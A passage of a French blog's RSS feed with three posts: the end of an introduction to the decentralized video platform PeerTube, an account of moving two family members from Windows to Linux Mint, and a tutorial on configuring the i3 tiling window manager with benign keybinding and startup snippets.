<p>Un r&#xE9;seau se compose comme un groupe d&apos;amis. Si un troisi&#xE8;me serveur veut rentrer dans le r&#xE9;seau, il lui suffit de trouver un point d&apos;entr&#xE9;e (le serveur 1 ou le serveur 2) qui va lui communiquer la liste de tous les autres serveurs (amis) du r&#xE9;seau. Et ainsi de suite.</p>
<p><img src="https://blog.cpy.re/content/images/2022/06/wWVuczBz.png" alt="PeerTube, plateforme de vid&#xE9;o web d&#xE9;centralis&#xE9;e en P2P" loading="lazy"></p>
<p>De cette fa&#xE7;on, on peut imaginer plusieurs r&#xE9;seaux de serveurs selon les besoins et envies de chacun :</p>
<p><img src="https://blog.cpy.re/content/images/2022/06/AMo3uP0D.png" alt="PeerTube, plateforme de vid&#xE9;o web d&#xE9;centralis&#xE9;e en P2P" loading="lazy"></p>
<p>Si vous voulez avoir de plus amples informations, je vous recommande vivement d&apos;aller voir le README du GitHub : <a href="https://github.com/Chocobozzz/PeerTube?ref=blog.cpy.re">https://github.com/Chocobozzz/PeerTube</a> ainsi que le fichier expliquant l&apos;architecture de mani&#xE8;re plus d&#xE9;taill&#xE9;e : <a href="https://github.com/Chocobozzz/PeerTube/blob/master/ARCHITECTURE.md?ref=blog.cpy.re">https://github.com/Chocobozzz/PeerTube/blob/master/ARCHITECTURE.md</a></p>
<h3 id="fonctionnalits">Fonctionnalit&#xE9;s</h3>
<p>&#xC0; l&apos;heure ou j&apos;&#xE9;cris ces lignes, il est possible :</p>
<ul>
<li>Pour un serveur de rejoindre un r&#xE9;seau (&quot;faire ami&quot;)</li>
<li>De quitter un r&#xE9;seau</li>
<li>D&apos;uploader des vid&#xE9;os qui seront envoy&#xE9;es aux serveurs amis</li>
<li>De supprimer une vid&#xE9;o (ce qui sera r&#xE9;percut&#xE9; chez les serveurs amis)</li>
<li>De lister et faire des recherches sur l&apos;ensemble des vid&#xE9;os d&apos;un r&#xE9;seau</li>
<li>De regarder une vid&#xE9;o en HTML5 via WebTorrent (donc en P2P) directement dans le navigateur web</li>
<li>D&apos;avoir un r&#xE9;seau auto-suffisant, c&apos;est &#xE0; dire qu&apos;il expulse au bout d&apos;un certain moment les serveurs morts (qui ne r&#xE9;pondent plus)</li>
<li>D&apos;ajouter ou supprimer des utilisateurs</li>
<li>De s&apos;inscrire en tant que nouvel utilisateur (si le serveur le permet)</li>
<li>De signaler une vid&#xE9;o aux administrateurs (m&#xEA;me si la vid&#xE9;o est sur un autre serveur)</li>
<li>De blacklister une vid&#xE9;o</li>
<li>De transcoder automatiquement une vid&#xE9;o &#xE0; l&apos;upload dans un format optimis&#xE9; pour le web (si le serveur le permet)</li>
<li>D&apos;aimer/ne pas aimer une vid&#xE9;o (si on est connect&#xE9;)</li>
<li>De comptabiliser le nombre de vues/likes/dislikes d&apos;une vid&#xE9;o par rapport &#xE0; l&apos;ensemble du r&#xE9;seau</li>
<li>De partager la vid&#xE9;o via une balise embed (iframe)</li>
</ul>
<center>
<iframe width="560" height="315" src="https://peertube.cpy.re/videos/embed/5a6133b8-3e0c-40dc-b859-69d0540c3fe5" frameborder="0" allowfullscreen></iframe>
</center>
<p>Il reste beaucoup de travail notamment pour ajouter les playlists, les abonnements, g&#xE9;n&#xE9;rer diff&#xE9;rentes d&#xE9;finitions d&apos;une m&#xEA;me vid&#xE9;o, am&#xE9;liorer la robustesse etc. Mais comme on dit : &quot;la route est longue mais la voie est libre&quot; :)</p>
<h3 id="testercenestpastoujoursdouter">Tester ce n&apos;est pas toujours douter :)</h3>
<p>Vous pouvez avoir acc&#xE8;s &#xE0; plusieurs serveurs de d&#xE9;monstration :</p>
<ul>
<li>Un serveur seul : <a href="https://peertube.cpy.re/?ref=blog.cpy.re">https://peertube.cpy.re/</a></li>
<li>Un r&#xE9;seau de serveurs : <a href="https://peertube2.cpy.re/?ref=blog.cpy.re">https://peertube2.cpy.re/</a> ou <a href="https://peertube3.cpy.re/?ref=blog.cpy.re">https://peertube3.cpy.re/</a></li>
</ul>
<p>Si vous &#xEA;tes int&#xE9;ress&#xE9;s, n&apos;h&#xE9;sitez pas &#xE0; laisser un commentaire ou &#xE0; contribuer directement sur <a href="https://github.com/Chocobozzz/PeerTube?ref=blog.cpy.re">GitHub</a>.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Migration d'une mamie et d'une étudiante sous GNU/Linux]]></title><description><![CDATA[Partage d'expérience sur la migration d'une mamie et d'une étudiante de Windows à GNU/Linux.]]></description><link>https://blog.cpy.re/migration-dune-mamie-et-dune-etudiante-sous-gnu-linux/</link><guid isPermaLink="false">5979ed043099c73f2bf8212a</guid><category><![CDATA[GNU/Linux]]></category><category><![CDATA[CoolTaVie]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Tue, 14 Mar 2017 17:36:44 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Vous avez pass&#xE9; une semaine dans une universit&#xE9; d&apos;informatique et &#xE7;a y est, vous &#xEA;tes catalogu&#xE9; comme &#xE9;tant l&apos;informaticien de la famille. Au moindre soucis (antivirus qui a expir&#xE9;, favoris qui ont disparu...), on vous d&#xE9;signera comme le messie qui r&#xE9;soudra le probl&#xE8;me (g&#xE9;n&#xE9;ralement pour s&apos;en d&#xE9;barrasser).<br>
Aaaah qu&apos;est ce que vous aimez passer vos week-ends &#xE0; mettre &#xE0; jour des softs Windows en faisant bien attention &#xE0; d&#xE9;cocher les petites cases putassi&#xE8;res.</p>
<p>Un beau jour apr&#xE8;s moultes plaintes d&apos;une mamie concernant la lenteur de son ordinateur bas de gamme achet&#xE9; il y a 5 ans, j&apos;ai d&#xE9;cid&#xE9; de mettre &#xE0; jour Windows dans sa version 10 en esp&#xE9;rant y voir un gain de performance (oui je crois aux miracles). Apr&#xE8;s trois tentatives qui se sont sold&#xE9;es par un &#xE9;chec (codes erreurs &#xE0; foison) et 6h de perdues, j&apos;en ai eu marre et j&apos;ai d&#xE9;cid&#xE9; de mettre un GNU/Linux en dual boot (histoire d&apos;essayer m&apos;voyez). De toute mani&#xE8;re c&apos;&#xE9;tait &#xE7;a ou acheter un nouvel ordinateur dans le commerce.</p>
<p>R&#xE9;sultat ? L&apos;ordinateur est devenu rapide : il ne met plus 30 minutes &#xE0; d&#xE9;marrer et 10 autres pour lancer le navigateur qui finira de toute mani&#xE8;re en mode &quot;ne r&#xE9;pond pas&quot;. Fini les vieilles alertes putassi&#xE8;res d&apos;Avast &quot;Danger&quot; sous fond rouge qui vous feront gagner un appel de mamy Jacqueline toute paniqu&#xE9;e en pleine semaine. Fini aussi les mises &#xE0; jour de Flash ou de Java (mes deux programmes pr&#xE9;f&#xE9;r&#xE9;s) o&#xF9; vous devez bien faire attention &#xE0; d&#xE9;cocher les diff&#xE9;rentes cases qui installeraient toutes les merdes de l&apos;univers sur un ordinateur qui est d&#xE9;j&#xE0; en train d&apos;agoniser.</p>
<p>Quand j&apos;entends que GNU/Linux c&apos;est compliqu&#xE9; j&apos;en pleure de rire. S&#xE9;rieusement ? Sous Windows on passe sa vie &#xE0; configurer l&apos;antivirus ou &#xE0; mettre &#xE0; jour un &#xE0; un les logiciels. Et &#xE7;a c&apos;est quand tout va bien. Avec un Linux ? Chaque semaine vous cliquez sur une petite ic&#xF4;ne, tapez votre mot de passe et en 5 minutes votre syst&#xE8;me est enti&#xE8;rement &#xE0; jour. Et surtout vous reprenez le contr&#xF4;le de votre machine.</p>
<h3 id="premiremigrationmamyjacqueline">Premi&#xE8;re migration : mamy Jacqueline</h3>
<p>Comme expliqu&#xE9; plus haut, tout a commenc&#xE9; avec ce fameux Windows 10 impossible &#xE0; mettre &#xE0; jour. Mamy Jacqueline trouve son ordinateur tr&#xE8;s lent et envisage d&apos;en acheter un autre. Je d&#xE9;cide donc d&apos;installer GNU/Linux en dual boot histoire de voir si elle peut s&apos;y habituer et si &#xE7;a lui plait. &#xC7;a ne devrait pas trop changer ses habitudes vu qu&apos;elle ne fait que du mail, va sur le web et regarde des documents multim&#xE9;dias (photos, diaporamas...).<br>
Je d&#xE9;cide de mettre Linux Mint (bas&#xE9;e sur Ubuntu LTS) conseill&#xE9; par un ami. Vu que c&apos;est du LTS on est pas emmerd&#xE9; tous les trois jours parce que quelque chose ne fonctionne plus. De plus les codecs proprios sont inclus donc aucune panique concernant Flash et autres bouses qui peuplent le web. C&apos;est quelque chose de tr&#xE8;s important afin d&apos;&#xE9;viter de rebuter l&apos;utilisateur venant du monde Windows : si quelque chose marchait avant et ne fonctionne plus avec son nouveau syst&#xE8;me Linux cherchez pas c&apos;est d&#xE9;j&#xE0; mort (et en plus &#xE7;a sera de votre faute :) ).</p>
<p>Bref, je lance le live USB de Mint et je suis agr&#xE9;ablement surpris par la simplicit&#xE9; de l&apos;installeur (je viens du monde ArchLinux, je suis pas habitu&#xE9; :p). Avec une bonne connexion ADSL &#xE7;a prend tout bonnement 30 minutes pour installer compl&#xE8;tement le syst&#xE8;me. J&apos;avoue que j&apos;ai &#xE9;t&#xE9; assez impressionn&#xE9;, surtout quand on sait le temps que j&apos;avais attendu pour que la mise &#xE0; jour vers Windows 10 <s>se fasse</s>  plante.</p>
<p>Au rallumage je boot sur Mint (choix par d&#xE9;faut) et je remarque que l&apos;ordinateur est infiniment plus rapide. Je m&apos;attendais &#xE0; ce qu&apos;il le soit, mais pas autant.</p>
<p>Maintenant il faut couvrir les besoins de mamy Jacqueline :</p>
<ul>
<li>Pour aller sur le web elle utilisait Google Chrome. Je lui installe donc Firefox &#xE7;a ne devrait pas vraiment lui changer beaucoup de choses. J&apos;ajoute des favoris dans la barre personnelle (m&#xE9;t&#xE9;o, sites d&apos;informations...) et le tour est jou&#xE9;</li>
<li>Pour les mails elle utilisait Windows Live Mail. Je lui installe Thunderbird : il est plut&#xF4;t simple d&apos;utilisation pour les fonctions basiques donc une petite formation devrait suffire. En revanche je suis devenu tout rouge pour <a href="https://support.mozilla.org/fr/kb/passer-thunderbird?ref=blog.cpy.re#w_importer-les-contacts-de-windows-mail-ou-windows-live-mail">exporter les contacts de Windows Live Mail</a></li>
<li>Pour le multim&#xE9;dia, Mint comprend d&#xE9;j&#xE0; une liseuse d&apos;images, de vid&#xE9;os et Libre Office (pour les diaporamas g&#xE9;n&#xE9;ralement envoy&#xE9;s par mail)</li>
</ul>
<p>Une fois que les besoins initiaux ont &#xE9;t&#xE9; combl&#xE9;s, on peut passer &#xE0; des trucs plus fun. Par exemple, je sais que mamy Jacqueline aime bien les belles photos de paysages. Je lui installe alors <a href="http://peterlevi.com/variety/?ref=blog.cpy.re">variety</a> qui est une tr&#xE8;s bonne application permettant de changer automatiquement le fond d&apos;&#xE9;cran du bureau &#xE0; partir d&apos;images r&#xE9;cup&#xE9;r&#xE9;es sur diff&#xE9;rents sites.</p>
<p>Apr&#xE8;s plusieurs mois d&apos;utilisation, mamy Jacqueline est tr&#xE8;s contente de son nouveau syst&#xE8;me d&apos;exploitation. Elle ne ressent plus le besoin de changer d&apos;ordinateur. De plus elle est ravie des beaux paysages qui s&apos;affichent sur son bureau.<br>
Quand &#xE0; moi je suis enfin en paix : j&apos;ai juste &#xE0; regarder son ordinateur de temps en temps et faire la mise &#xE0; jour du syst&#xE8;me en deux clics.</p>
<h3 id="deuximemigration">Deuxi&#xE8;me migration :</h3>
<p>La deuxi&#xE8;me migration est plus complexe. L&apos;&#xE9;tudiante qui fait une &#xE9;cole de commerce a toujours baign&#xE9; dans les outils Microsoft : Windows, Word etc. Elle utilise notamment quelques fonctions avanc&#xE9;es d&apos;Excel. Sinon pour le reste c&apos;est du classique : des vid&#xE9;os, du mail et du web.</p>
<p>Elle aimerait avoir les m&#xEA;mes comportements auxquels elle a &#xE9;t&#xE9; habitu&#xE9;e sous Windows. Par exemple, lorsque son c&#xE2;ble d&apos;alimentation se d&#xE9;branche il faut que son ordinateur joue un bruit. Il faut aussi qu&apos;elle puisse avoir acc&#xE8;s &#xE0; sa partition Windows sous son Linux. Tout n&apos;&#xE9;tait pas particuli&#xE8;rement &#xE9;vident car il a fallu manipuler le <a href="https://fr.wikipedia.org/wiki/Fstab?ref=blog.cpy.re">fstab</a> et cr&#xE9;er une r&#xE8;gle <a href="https://fr.wikipedia.org/wiki/Udev?ref=blog.cpy.re">udev</a>.</p>
<p>Je lui installe aussi Linux Mint vu que j&apos;ai eu une bonne premi&#xE8;re exp&#xE9;rience. Je mets par d&#xE9;faut notre bon vieux VLC national, Firefox et LibreOffice. Pour VLC et Firefox rien de bien folichon &#xE0; signaler, il faut juste faire attention que les bons plugins/extensions soient install&#xE9;s. En effet, il faut lui &#xE9;viter les difficult&#xE9;s sur le web qui lui feraient penser &quot;&#xE7;a marche pas, Linux c&apos;est de la merde&quot; (au lieu de se dire &quot;les devs derri&#xE8;re ce site sont des tanches&quot;).</p>
<p>Les premi&#xE8;res semaines se passent pas trop mal, tout va bien. Par contre autant dire que de passer de Microsoft Office &#xE0; Libre Office ce n&apos;est pas forc&#xE9;ment la joie pour elle. Elle n&apos;aime pas vraiment Writer, et Calc n&apos;est pas toujours compatible avec ses feuilles de calcul Excel (macros toussa toussa). Il lui arrive aussi d&apos;avoir des probl&#xE8;mes de compatibilit&#xE9; avec les fichiers des autres &#xE9;tudiants (les format libres et ouverts c&apos;est surfait). Mais bon lorsqu&apos;elle a ce genre de cas rien ne l&apos;emp&#xEA;che de revenir sous Windows (et de sentir sa douleur au d&#xE9;marrage) pour utiliser les outils de l&apos;Empire du mal.</p>
<p>Teamviewer est un outil tr&#xE8;s pratique (non libre) qui permet de contr&#xF4;ler un ordinateur &#xE0; distance. Il m&apos;a bien aid&#xE9; quand j&apos;ai d&#xFB; traficoter le User-Agent de Firefox pour qu&apos;il puisse lire les vid&#xE9;os de Netflix en HTML5 (que du plaisir...). J&apos;aimerais trouver une alternative libre &#xE0; Teamviewer aussi simple &#xE0; mettre en place et qui permette de traverser les pares-feu/NAT mais je n&apos;ai encore rien trouv&#xE9;. Si vous avez des suggestions n&apos;h&#xE9;sitez pas.</p>
<p>Encore une fois, l&#xE0; aussi toutes les 3 semaines j&apos;ai juste &#xE0; appuyer sur deux boutons pour mettre &#xE0; jour tout son syst&#xE8;me.</p>
<h3 id="conclusiondujourbonjour">Conclusion du jour bonjour</h3>
<p>Ces deux exp&#xE9;riences m&apos;ont fait comprendre que le principal souci/challenge de ce genre de migration c&apos;est le fait que les gens ne veulent pas changer leurs habitudes Windowsiennes. Il faut donc essayer de trouver une parade &#xE0; chaque logiciel non compatible avec le GNU. C&apos;est relativement facile pour les utilisateurs qui font de la bureautique, mais d&#xE8;s qu&apos;ils utilisent des choses un peu plus sp&#xE9;cialis&#xE9;es &#xE7;a risque d&apos;&#xEA;tre tr&#xE8;s compliqu&#xE9;.</p>
<p>J&apos;aime beaucoup le couple Mint/Cinammon qui permet de ne pas trop d&#xE9;router l&apos;utilisateur : il se retrouve avec sa barre des t&#xE2;ches, son petit menu en bas &#xE0; gauche et son bureau. Peu de choses diff&#xE8;rent r&#xE9;ellement de Windows pour une utilisation classique. De plus, son installation est vraiment sympa et rapide &#xE0; faire (que ce soit pour du dual boot ou autre).</p>
<p>On dit souvent que GNU/Linux n&apos;est pas pr&#xEA;t pour le Desktop. Alors oui il y a beaucoup d&apos;h&#xE9;t&#xE9;rog&#xE9;n&#xE9;it&#xE9; ce qui pose des probl&#xE8;mes de complexit&#xE9; et de coh&#xE9;rence mais quand je vois comment gal&#xE8;rent certains utilisateurs de Windows je me dis que du Linux sur Desktop c&apos;est que du bonheur.</p>
<p>P.S: Merci aux amis <a href="https://diaspora-fr.org/people/ab61a310e7d30131dfd55ff84df34882?ref=blog.cpy.re">Phipe</a> et <a href="https://diaspora-fr.org/people/a67fe237dabfccac?ref=blog.cpy.re">SpF</a> pour la relecture ;)</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Présentation et configuration du tiling manager i3 avec i3pystatus]]></title><description><![CDATA[Présentation, découverte et configuration du tiling manager i3 sous GNU/Linux avec sa barre de statut i3pystatus.]]></description><link>https://blog.cpy.re/presentation-et-configuration-du-tiling-manager-i3-avec-i3pystatus/</link><guid isPermaLink="false">5979ed043099c73f2bf82126</guid><category><![CDATA[GNU/Linux]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Wed, 21 Sep 2016 18:09:48 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Lorsqu&apos;on installe une distribution GNU/Linux classique (Ubuntu, Debian, Mint...), on a g&#xE9;n&#xE9;ralement le choix entre plusieurs environnements de bureau comme pour les plus connus KDE, Gnome, XFCE... Chacun poss&#xE8;de son propre gestionnaire de fen&#xEA;tre plut&#xF4;t classique o&#xF9; on redimensionne/d&#xE9;place les fen&#xEA;tres &#xE0; l&apos;aide de la souris comme sous Windows ou Mac OS par exemple.</p>
<p>Il existe une autre cat&#xE9;gorie de gestionnaires de fen&#xEA;tres appel&#xE9;e <em>tiling manager</em> permettant d&apos;organiser ses fen&#xEA;tres automatiquement de fa&#xE7;on &#xE0; ce qu&apos;elles prennent tout l&apos;espace disponible de l&apos;&#xE9;cran. Ce ne sont pas des environnements de bureau donc ils ne viennent pas avec 35 000 paquets qui peuvent ne pas vous servir. &#xC0; vous de voir quels outils vous voulez pour visionner une image, lire un film, naviguer dans les fichiers... &#xC0; la carte donc :)</p>
<p>Il existe de nombreux tilings manager : <a href="https://awesome.naquadah.org/?ref=blog.cpy.re">awesome</a>, <a href="http://xmonad.org/?ref=blog.cpy.re">xmonad</a>, <a href="https://i3wm.org/?ref=blog.cpy.re">i3</a>....  J&apos;ai choisi ici de pr&#xE9;senter i3.</p>
<h2 id="installation">Installation</h2>
<p>Sur ArchLinux, le paquet est nomm&#xE9; <code>i3-wm</code>. Au reboot, via votre gestionnaire de connexion s&#xE9;lectionnez i3 et le tour est jou&#xE9;. Je vous laisse vous r&#xE9;f&#xE9;rer &#xE0; la documentation de votre distribution pour savoir comment installer i3.</p>
<h2 id="principes">Principes</h2>
<p>Je vous conseille de jeter un oeil sur la tr&#xE8;s bonne <a href="https://i3wm.org/docs/userguide.html?ref=blog.cpy.re">documentation</a> disponible. Pour r&#xE9;sumer vous choisissez la touche nomm&#xE9;e <strong>mod</strong> qui vous servira pour ex&#xE9;cuter des actions. Dans mon cas j&apos;ai choisi la touche SUPER (vous savez celle avec le logo windows). Cette touche combin&#xE9;e &#xE0; d&apos;autres vous permet de naviguer entre les workspaces, d&#xE9;placer les fen&#xEA;tres, changer le mode de tiling etc.</p>
<p>En parlant de mode de tiling vous en avez 3 :</p>
<ul>
<li>
<p><strong>stacking</strong> : les diff&#xE9;rentes fen&#xEA;tres sont dispos&#xE9;es en &quot;pile&quot;. Vous pouvez naviguer entre elles via <strong>mod+fl&#xE8;ches haut/bas</strong><br>
<img src="https://blog.cpy.re/content/images/2022/06/73JSu9Yh.png" alt="73JSu9Yh" loading="lazy"></p>
</li>
<li>
<p><strong>tabbed</strong> : les fen&#xEA;tres sont dispos&#xE9;es comme dans un navigateur internet. Vous pouvez naviguer entre elles via <strong>mod+fl&#xE8;ches droite/gauche</strong><br>
<img src="https://blog.cpy.re/content/images/2022/06/TDERttOW.png" alt="TDERttOW" loading="lazy"></p>
</li>
<li>
<p><strong>split</strong> : toutes les fen&#xEA;tres partagent l&apos;espace de votre bureau. Vous pouvez naviguer entre elles via <strong>mod+fl&#xE8;ches droite/gauche/haut/bas</strong><br>
<img src="https://blog.cpy.re/content/images/2022/06/uWST7YLA.png" alt="uWST7YLA" loading="lazy"></p>
</li>
</ul>
<p>Enfin, une fen&#xEA;tre peut se soustraire au mode tiling en passant en mode <em>flottant</em>. Si une fen&#xEA;tre est flottante, i3 ne g&#xE8;re plus son positionnement et sa taille ce qui veut dire que vous pouvez la d&#xE9;placer/redimensionner directement &#xE0; la souris. Ce mode est principalement utilis&#xE9; pour toutes les fen&#xEA;tres &quot;volantes&quot; (applet, boite de dialogue etc). En revanche ce genre de fen&#xEA;tre sera toujours au dessus de toutes les autres.</p>
<h2 id="combinaisonsdetouchesutiles">Combinaisons de touches utiles</h2>
<p>Avant de parler de la configuration, voici quelques combinaisons par d&#xE9;faut pour vous aider &#xE0; prendre en main le gestionnaire :</p>
<ul>
<li><strong>mod+Return</strong> : ouvre un terminal (tel que d&#xE9;fini dans la configuration)</li>
<li><strong>mod+d</strong> : ouvre le launcher (tel que d&#xE9;fini dans la configuration)</li>
<li><strong>mod+numero</strong> : se d&#xE9;placer au workspace num&#xE9;ro...</li>
<li><strong>mod+Shift+numero</strong> : d&#xE9;placer la fen&#xEA;tre active au workspace num&#xE9;ro...</li>
<li><strong>mod+z</strong> : changer le mode du tiling en <em>tabbed</em></li>
<li><strong>mod+s</strong> : changer le mode du tiling en <em>stacking</em></li>
<li><strong>mod+e</strong> : changer le mode du tiling en <em>split</em>. Refaire cette combinaison alors qu&apos;on est d&#xE9;j&#xE0; en mode <em>split</em> inverse son sens (horizontal/vertical)</li>
<li><strong>mod+f</strong> : passer en mode plein &#xE9;cran</li>
<li><strong>mod+Shift+q</strong> : kill l&apos;application active</li>
<li><strong>mod+fl&#xEA;ches</strong> : navigue entre les diff&#xE9;rentes fen&#xEA;tres du workspace</li>
<li><strong>mod+Shift+space</strong> : active/d&#xE9;sactive le mode flottant pour la fen&#xEA;tre courante</li>
</ul>
<h2 id="configurationglobale">Configuration globale</h2>
<p>Lorsqu&apos;on installe i3, on ne dispose d&apos;aucun outil comme c&apos;est le cas avec des environnements de bureau complets (XFCE, Gnome...) qui viennent avec leurs propres outils de terminal, launcher etc. Ici c&apos;est &#xE0; vous de choisir personnellement chacun des outils que vous voulez utiliser. Autant dire que si on est tout nouveau dans l&apos;environnement GNU/Linux c&apos;est pas forc&#xE9;ment &#xE9;vident.</p>
<p>Vous trouverez le fichier de configuration d&apos;i3 dans <em>~/.config/i3</em>. Comme vous pourrez le constater il est d&#xE9;j&#xE0; bien fourni par d&#xE9;faut.</p>
<h3 id="terminal">Terminal</h3>
<p>Dans ce fichier vous trouverez la ligne <code>$mod+Return exec i3-sensible-terminal</code>. Cela veut dire que si vous faites un <strong>mod+Return</strong> i3 ex&#xE9;cutera <code>i3-sensible-terminal</code>. Il s&apos;agit d&apos;un <a href="build.i3wm.org/docs/i3-sensible-terminal.html">wrapper</a> que vous pouvez modifier en surchargeant la variable d&apos;environnement <code>TERMINAL</code>. Vous pouvez par exemple cr&#xE9;er un fichier <em>~/.profile</em> avec <code>export TERMINAL=&quot;urxvtc&quot;</code> &#xE0; l&apos;int&#xE9;rieur.</p>
<h3 id="bindings">Bindings</h3>
<p>J&apos;ai trouv&#xE9; la configuration par d&#xE9;faut tr&#xE8;s bonne donc je n&apos;ai pas fait de grandes modifications. J&apos;ai simplement ajout&#xE9; la ligne suivante me permettant de faire facilement un <strong>alt+f4</strong> (que j&apos;appr&#xE9;cie beaucoup). J&apos;utilise aussi le programme <a href="https://launchpad.net/synapse-project?ref=blog.cpy.re">Synapse</a> au lieu de <em>dmenu</em> comme launcher d&apos;applications.</p>
<pre><code class="bash">bindsym $alt+F4      kill
bindsym $mod+d exec synapse</code></pre>
<h3 id="raccourcisdapplication">Raccourcis d&apos;application</h3>
<p>Il est possible d&apos;ajouter des raccourcis d&apos;application. En effet, les touches <strong>fn</strong> ne sont pas forc&#xE9;ment reconnus et il faut donc (l&#xE9;g&#xE8;rement) bricoler. L&apos;option <strong>--no-startup-id</strong> emp&#xEA;che grossomodo d&apos;avoir la souris qui se met en mode &quot;je r&#xE9;fl&#xE9;chis&quot; (souvent avec un petit cercle qui tourne) en attendant que l&apos;application se lance.</p>
<p>En ce qui concerne les contr&#xF4;les pour PulseAudio pilotables avec des touches m&#xE9;dia :</p>
<pre><code class="bash"># Pulse Audio controls
bindsym XF86AudioRaiseVolume exec --no-startup-id pactl set-sink-volume alsa_output.pci-0000_00_1b.0.analog-stereo +5%
bindsym XF86AudioLowerVolume exec --no-startup-id pactl set-sink-volume alsa_output.pci-0000_00_1b.0.analog-stereo -5%
bindsym XF86AudioMute exec --no-startup-id pactl set-sink-mute alsa_output.pci-0000_00_1b.0.analog-stereo toggle
</code></pre>
<p>De m&#xEA;me, le pilotage du r&#xE9;tro &#xE9;clairage du clavier via les touches <strong>fn</strong> :</p>
<pre><code class="bash">bindsym XF86KbdBrightnessUp exec --no-startup-id kbd_backlight.sh up
bindsym XF86KbdBrightnessDown exec --no-startup-id kbd_backlight.sh down
</code></pre>
<p>Pour faire une imprim&apos; &#xE9;cran, j&apos;utilise l&apos;outil <a href="https://github.com/naelstrof/maim?ref=blog.cpy.re">maim</a>. Il permet de s&#xE9;lectionner une zone sur l&apos;&#xE9;cran. Le <strong>||</strong> permet de faire en sorte que si je fais un clic droit (au lieu d&apos;un clic gauche pour s&#xE9;lectionner ma zone) le programme fera un screen de tout l&apos;&#xE9;cran.</p>
<pre><code class="bash">bindsym Print exec --no-startup-id maim -s ~/Desktop/screen_$(date +%F-%T).png || maim ~/Desktop/region_$(date +%F-%T).png
</code></pre>
<p>En ce qui concerne le pilotage du player audio via une combinaison de touche (si votre clavier n&apos;a pas les touches m&#xE9;dias associ&#xE9;es par exemple) :</p>
<pre><code class="bash">bindsym $mod+Control+Left exec playerctl previous
bindsym $mod+Control+Right exec playerctl next
bindsym $mod+Control+Down exec playerctl play-pause
bindsym $mod+Control+Up exec playerctl stop
</code></pre>
<p>Enfin, du divers :</p>
<pre><code class="bash"># Locker le screen sur fond noir
bindsym $mod+l exec --no-startup-id i3lock -c 000000
# Aller &#xE0; la fen&#xEA;tre &quot;urgente&quot;
bindsym $mod+u [urgent=latest] focus
# Ouvrir le navigateur de fichier
bindsym $mod+t exec --no-startup-id thunar
# Aller au workspace suivant/pr&#xE9;c&#xE9;dent
bindsym $mod+$alt+Right workspace next
bindsym $mod+$alt+Left workspace prev
</code></pre>
<h3 id="teindrelordinateur">&#xC9;teindre l&apos;ordinateur</h3>
<p>Vous l&apos;avez peut-&#xEA;tre constat&#xE9;, il n&apos;y a pas de menu permettant de faire des actions sur la session courante comme &#xE9;teindre l&apos;ordinateur, se d&#xE9;connecter etc. Il va falloir le cr&#xE9;er nous m&#xEA;me (<a href="https://wiki.archlinux.org/index.php/I3?ref=blog.cpy.re#Shutdown.2C_reboot.2C_lock_screen">cr&#xE9;dits wiki ArchLinux</a>) :</p>
<pre><code class="bash">set $Locker i3lock &amp;&amp; sleep 1

set $mode_system System (l) lock, (e) logout, (s) suspend, (h) hibernate, (r) reboot, (Shift+s) shutdown
mode &quot;$mode_system&quot; {
  bindsym l exec --no-startup-id $Locker, mode &quot;default&quot;
  bindsym e exec --no-startup-id i3-msg exit, mode &quot;default&quot;
  bindsym s exec --no-startup-id $Locker &amp;&amp; systemctl suspend, mode &quot;default&quot;
  bindsym h exec --no-startup-id $Locker &amp;&amp; systemctl hibernate, mode &quot;default&quot;
  bindsym r exec --no-startup-id systemctl reboot, mode &quot;default&quot;
  bindsym Shift+s exec --no-startup-id systemctl poweroff -i, mode &quot;default&quot;  

  bindsym Return mode &quot;default&quot;
  bindsym Escape mode &quot;default&quot;
}

bindsym $mod+Pause mode &quot;$mode_system&quot;</code></pre>
<p>Ce bout de code lancera un petit menu si vous appuyez sur <strong>mod+Pause</strong> o&#xF9; vous pourrez choisir parmi diff&#xE9;rentes actions (notamment &#xE9;teindre l&apos;ordinateur).</p>
<h3 id="applicationsaudmarrage">Applications au d&#xE9;marrage</h3>
<p>Il est possible de lancer certaines applications au d&#xE9;marrage. Voici ma liste :</p>
<pre><code class="bash"># Active le pav&#xE9; num&#xE9;rique
exec --no-startup-id numlockx on
# Lance un petit script qui change le wallpaper &#xE0; intervalle r&#xE9;gulier
exec --no-startup-id wallpaper.sh
# Lance le d&#xE9;mon Urxvt (terminal)
exec --no-startup-id urxvtd -q -o -f
# Permet d&apos;avoir de la transparence, I3 de le g&#xE8;re pas de base
exec --no-startup-id compton
# Programme de notification (daemon)
exec --no-startup-id dunst
# Lance l&apos;applet de Network Manager
exec --no-startup-id nm-applet</code></pre>
<h3 id="applicationsflottantes">Applications flottantes</h3>
<p>Certaines applications ont besoin d&apos;&#xEA;tre toujours flottantes. C&apos;est le cas par exemple l&apos;applet de Seafile :</p>
<p><img src="https://blog.cpy.re/content/images/2022/06/MFeL7dlr.png" alt="MFeL7dlr" loading="lazy"></p>
<p>On peut le sp&#xE9;cifier dans la configuration de cette mani&#xE8;re :</p>
<pre><code class="bash">for_window [class=&quot;Seafile&quot;] floating enable</code></pre>
<h2 id="barredestatut">Barre de statut</h2>
<p>Il est possible d&apos;avoir une barre de statut afin d&apos;afficher les informations qui vous semblent importantes (conso CPU, date, RAM, r&#xE9;seau, batterie, mails etc). Vous avez plusieurs utilitaires disponibles. J&apos;ai personnellement choisi <a href="https://github.com/enkore/i3pystatus?ref=blog.cpy.re">i3pystatus</a> car proposant pas mal de plugins int&#xE9;ressants. Vous pouvez le configurer via le fichier <em>~/.config/i3/pystatus.py</em>.</p>
<p><img src="https://blog.cpy.re/content/images/2022/06/JEIJ5VWL.png" alt="JEIJ5VWL" loading="lazy"></p>
<p>Je vais faire un tour rapide des plugins que j&apos;utilise mais vous trouverez une tr&#xE8;s bonne documentation <a href="http://docs.enkore.de/i3pystatus/?ref=blog.cpy.re">sur le site de i3pystatus</a>. Vous pouvez voir <a href="http://docs.enkore.de/i3pystatus/i3pystatus.html?ref=blog.cpy.re">ici</a> la liste des modules disponibles.</p>
<h3 id="vrifiersaconnexioninternet">V&#xE9;rifier sa connexion internet</h3>
